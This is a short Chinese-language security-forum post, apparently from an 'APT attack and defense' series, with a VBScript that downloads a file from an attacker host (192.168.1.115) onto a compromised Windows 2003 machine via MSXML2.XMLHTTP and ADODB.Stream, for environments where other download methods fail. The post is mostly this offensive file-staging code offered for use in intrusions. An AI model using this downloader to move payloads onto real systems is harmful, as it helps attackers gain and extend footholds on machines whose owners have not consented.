首页
论坛
专栏
课程

分享:
专注APT攻击与防御
https://micropoor.blogspot.com/

在实战中,会碰到许多让人敬畏的环境,也许无法执行,或者无法把下载参数带入其中,故补充第七季vbs参数化的下载。

靶机:windows 2003
附:源码如下:

1 strFileURL = "http://192.168.1.115/robots.txt"
2 strHDLocation = "c:testlogo.txt"
3 Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
4 objXMLHTTP.open "GET", strFileURL, false
5 objXMLHTTP.send()
6 If objXMLHTTP.Status = 200 Then
7 Set objADOStream = CreateObject("ADODB.Stream")
8 objADOStream.Open
9 objADOStream.Type = 1
10 objADOStream.Write objXMLHTTP.ResponseBody
11 objADOStream.Position = 0
12 Set objFSO = CreateObject("Scripting.FileSystemObject")
13 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
14 Set objFSO = Nothing
15 objADOStream.SaveToFile strHDLocation
16 objADOStream.Close
17 Set objADOStream = Nothing
18 End if
19 Set objXMLHTTP = Nothing

Micropoor

上一篇 :
下一篇 :
讨论 (0)
沪ICP备16048531号-1
沪公网安备 31011502006611号